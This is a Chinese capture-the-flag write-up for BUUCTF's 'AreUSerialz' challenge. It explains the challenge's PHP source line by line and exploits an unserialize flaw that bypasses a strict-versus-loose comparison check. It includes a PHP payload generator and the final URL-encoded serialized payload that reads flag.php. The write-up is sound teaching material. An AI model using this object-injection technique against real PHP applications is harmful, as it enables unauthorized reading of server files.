BUUCTF--[网鼎杯 2020 青龙组]AreUSerialz

这道题磨了好几天才做出来,不是因为有多难,纯是因为一打开这个靶场看到源代码那么多头就疼,有很多看不懂,看解析也看的头糊的很,于是又花时间去补基础。

打开靶场,可以看到一大堆代码

php 复制代码
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

我就不只讲核心内容了,我从头梳理,以便我自己再理一遍,去记住他,核心内容我会用标题标出来

逐句讲解

php 复制代码
include("flag.php");

字面意思,包含flag.php,就是将flag.php引用到这堆代码中了,而这个flag.php也就是我们最终目标。

php 复制代码
highlight_file(__FILE__);

highlight_file()意思是高亮显示文件中的内容,而__FILE__是 PHP 魔术常量,代表当前文件的完整路径。

php 复制代码
class FileHandler {

定义了一个名为FileHandler的类,封装文件读写相关的方法和属性。意思就是**创建一个专门处理文件的"工具箱",**像这样的类名还有其他的,大家可以自行查阅一下。

php 复制代码
    protected $op;
    protected $filename;
    protected $content;
  • 作用:定义 3 个protected(受保护)属性:
    • $op:操作类型标识(1 = 写入文件,2 = 读取文件);
    • $filename:要操作的文件路径 / 名称;
    • $content:写入文件的内容(读取文件时无作用)。
  • protected权限说明:只能在类内部或子类中访问,外部无法直接修改,但反序列化可以突破这个权限限制(这是后续利用的基础)。
php 复制代码
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
  • $op = "1";:定义局部变量 $op(不是对象属性$this->op),赋值为字符串 "1";
  • $filename = "/tmp/tmpfile";:定义局部变量$filename,赋值为临时文件路径;
  • $content = "Hello World!";:定义局部变量$content,赋值为测试内容;
  • $this->process();:调用当前对象的process()方法。

利用这里读取flag

php 复制代码
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    1. public function process():定义公共方法process(),外部可调用;
    2. if($this->op == "1"):判断对象属性$op是否松散等于 字符串 "1"(松散比较:只比较值,不比较类型),若是则调用write()方法(写入文件);
    3. else if($this->op == "2"):判断$op是否松散等于 "2",若是则调用read()方法读取文件,将结果赋值给$res,再调用output()输出$res
    4. else:其他情况输出 "Bad Hacker!"。
  • 漏洞关联:这里的==(松散比较)是后续漏洞利用的核心关键点 (与析构方法的===严格比较形成对比)。
php 复制代码
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
  • private function write():定义私有方法write(),只能在类内部调用;
  • if(isset($this->filename) && isset($this->content)):检查$filename$content是否已设置;
  • if(strlen((string)$this->content) > 100):检查$content的长度是否超过 100,若是则输出 "Too long!" 并终止脚本;
  • $res = file_put_contents($this->filename, $this->content):将$content写入$filename指定的文件,返回写入的字节数(失败返回 false);
  • 后续判断写入结果,输出 "Successful!" 或 "Failed!"。
php 复制代码
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    1. private function read():定义私有方法read(),只能在类内部调用;
    2. $res = "";:初始化返回值为空字符串;
    3. if(isset($this->filename)):检查$filename是否已设置;
    4. $res = file_get_contents($this->filename):读取$filename指定文件的全部内容,赋值给$res
    5. return $res;:返回读取的内容。
  • 关键:file_get_contents()可以读取任意文件(只要 PHP 有读取权限),这是我们能读取flag.php的核心函数。
php 复制代码
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    1. private function output($s):定义私有方法output(),接收一个参数$s
    2. echo "[Result]: <br>";:输出固定提示文本和换行;
    3. echo $s;:直接输出参数$s的内容。
  • 关键:这个方法是最终能看到flag.php内容的 "出口"------read()读取的内容会通过这个方法输出到网页上。

析构方法__destruct ()(核心漏洞点)

php 复制代码
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
    1. function __destruct():析构方法,对象被销毁时自动执行(PHP 脚本执行结束、对象被 unset、超出作用域时都会触发);
    2. if($this->op === "2"):判断$op是否严格等于字符串 "2"(严格比较:既要值相等,也要类型相等);
    3. $this->op = "1";:如果严格等于,则将$op改为 "1";
    4. $this->content = "";:清空$content属性(对读取操作无影响);
    5. $this->process();:调用process()方法执行后续操作。
  • 漏洞成因详解

    1. 析构方法用===(严格比较),而process()方法用==(松散比较),两者的比较规则差异形成了绕过条件
    2. 析构方法会自动执行process(),无需手动调用,是触发读取逻辑的 "自动入口";
    3. 虽然析构方法试图阻止$op=2,但只阻止了 "字符串类型的 2",没有阻止 "整数类型的 2"。
  • 漏洞利用方式 :构造反序列化 payload 时,将$op设置为整数 2(而非字符串 "2"):

    • 严格比较:2 === "2" → false(值相同但类型不同),因此析构方法不会将$op改为 1;
    • 松散比较:2 == "2" → true(只比较值),因此process()方法会触发read()读取文件;
    • 最终通过output()输出flag.php的内容。
php 复制代码
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
  • 逐行解析:
    1. function is_valid($s):定义函数,接收一个字符串参数$s
    2. for($i = 0; $i < strlen($s); $i++):遍历字符串的每一个字符;
    3. if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)):检查字符的 ASCII 码是否在 32(空格)到 125(})之间(即可打印字符);
    4. 只要有一个字符不符合,返回 false;全部符合返回 true。
  • 作用:过滤不可打印字符(如空字节\0、换行符\n等),试图限制反序列化 payload 的构造。
  • 漏洞绕过:我们构造的 payload(public 属性、整数 2、flag.php)的所有字符都是可打印 ASCII,完全满足这个检查,因此能通过验证。

反序列化入口

php 复制代码
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
  • 逐行解析:

    1. if(isset($_GET{'str'})):检查是否存在 GET 参数str
    2. $str = (string)$_GET['str'];:将str参数转为字符串;
    3. if(is_valid($str)):调用is_valid()检查字符串合法性;
    4. $obj = unserialize($str);:将合法的字符串反序列化为 PHP 对象。
  • 漏洞触发条件 :这是整个漏洞的 "入口"------ 只要传入符合is_valid()检查的反序列化字符串,就能构造FileHandler对象并控制其属性($op/$filename/$content),进而触发析构方法的漏洞逻辑。

核心内容总结

以上就是这一大堆代码的解析,我在做的时候真是一句一句的查,不然都不知道啥意思

说白了,就三个点和一个需要注意的地方

三个点:1、整个代码我们要从哪里入手

2、他的核心漏洞在哪里

3、我们要如何利用漏洞来读取flag

需要注意的地方:我们构造的payload要满足is_valid()检查的反序列化字符串

整段代码非自上而下的执行,我在看的时候总是从上往下看,所以会感觉很蒙,即使我把这段代码给查明了什么意思,我也不知道他到底在干什么。所以逻辑真的很重要!!!

整段代码利用逻辑如下:

unserialize() 还原恶意对象 → 脚本执行结束触发 __destruct() → 依次执行强比较、调用 process()、执行弱比较。

首先,是反序列化的入口
php 复制代码
if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);

这里需要用到str参数传payload,由于反序列化unserialize(),所以我们的payload必须是经过序列化后的,然后通过反序列化转为程序可执行的(要满足is_valid()检查)

漏洞绕过
php 复制代码
function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();

unserialize() 还原我们的payload(也就是恶意对象),此程序结束后触发 __destruct(),进行强比较让op严格等于字符串2,比较后让op=1,清空$content属性,最后调用process()方法,重要的点就在这,因为他只过滤了字符串2,所以我们想让op不等于1,调用process()方法后去执行read而不是write,所以我们payload中的op必须为整型的2

读取flag
php 复制代码
public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);

当我们的op为整型2绕过过滤时,执行else if里面的语句,op==2,调用read()方法看我们的filename是不是flag.php,是的话通过output()方法输出,把存着 flag 的$res传给输出方法,output()里执行echo $s

最终payload:

以下是生成最终payload的代码,因为我的语言基础薄弱,所以下面生成payload的代码借助了AI,大家见谅

php 复制代码
<?php
// ==========================================
// 第一步:1:1复刻原题的类定义(绝对不能改!)
// ==========================================
class FileHandler {
    // 重点:原题属性是public,这里必须也是public
    // 如果原题是private/protected,这里必须对应修改,否则payload失效
    public $op;
    public $filename;
    public $content;
}

// ==========================================
// 第二步:构造恶意对象(设置核心利用参数)
// ==========================================
$evilObj = new FileHandler();

// 【核心绕过点1】op必须设为整型2,绝对不能加引号!
// 加引号会变成字符串2,被析构方法的$op === "2"强比较过滤,改成1
$evilObj->op = 2;

// 【核心利用点2】filename必须设为原题flag的实际路径
// 你这里能生效,说明原题flag就在当前目录的flag.php
$evilObj->filename = "flag.php";

// 【无关参数】content设为空即可,不影响漏洞利用
$evilObj->content = "";

// ==========================================
// 第三步:生成原始序列化payload(仅用于解析)
// ==========================================
$rawPayload = serialize($evilObj);
echo "【1. 原始未编码payload(仅解析用,不能直接传URL)】:\n";
echo $rawPayload . "\n\n";

// ==========================================
// 第四步:生成URL编码后的最终payload(直接复制传参用)
// ==========================================
$finalPayload = urlencode($rawPayload);
echo "【2. URL编码后的最终可用payload(GET传参直接用)】:\n";
echo $finalPayload . "\n";
?>

注意:最终payload必须进行url编码,不然很多符号浏览器看不懂

最终payload也需要通过get传参使用

最终payload:

html 复制代码
?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A0%3A%22%22%3B%7D

回车后代码最下面会有个结果

然后查看网页源代码即可获得flag

相关推荐
zhouping@2 小时前
[HFCTF2020]EasyLogin
web安全
谪星·阿凯2 小时前
爬虫对抗实战 - ZLibrary反爬机制分析与突破
爬虫·网络安全
kiku181814 小时前
Nginx安全
nginx·web安全·https
pencek15 小时前
HakcMyVM-Darkside
网络安全
cramer_50h19 小时前
网络安全技术研究:渗透测试环境和APP安全测试教程(二)
安全·web安全
上海云盾-小余20 小时前
出海业务高可用方案:全球节点 + 智能清洗,让 DDoS 与网络故障不再影响业务
网络·安全·web安全·ddos
lplum_21 小时前
2026 中国高校智能机器人创意大赛 软件系统安全赛 初赛wp
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全威胁分析
vortex521 小时前
文件上传漏洞绕过技术总结(含实操指南与防御方案)
linux·服务器·网络安全·渗透测试
m0_7381207221 小时前
应急响应——知攻善防挖矿事件应急溯源详细过程
网络·数据库·安全·web安全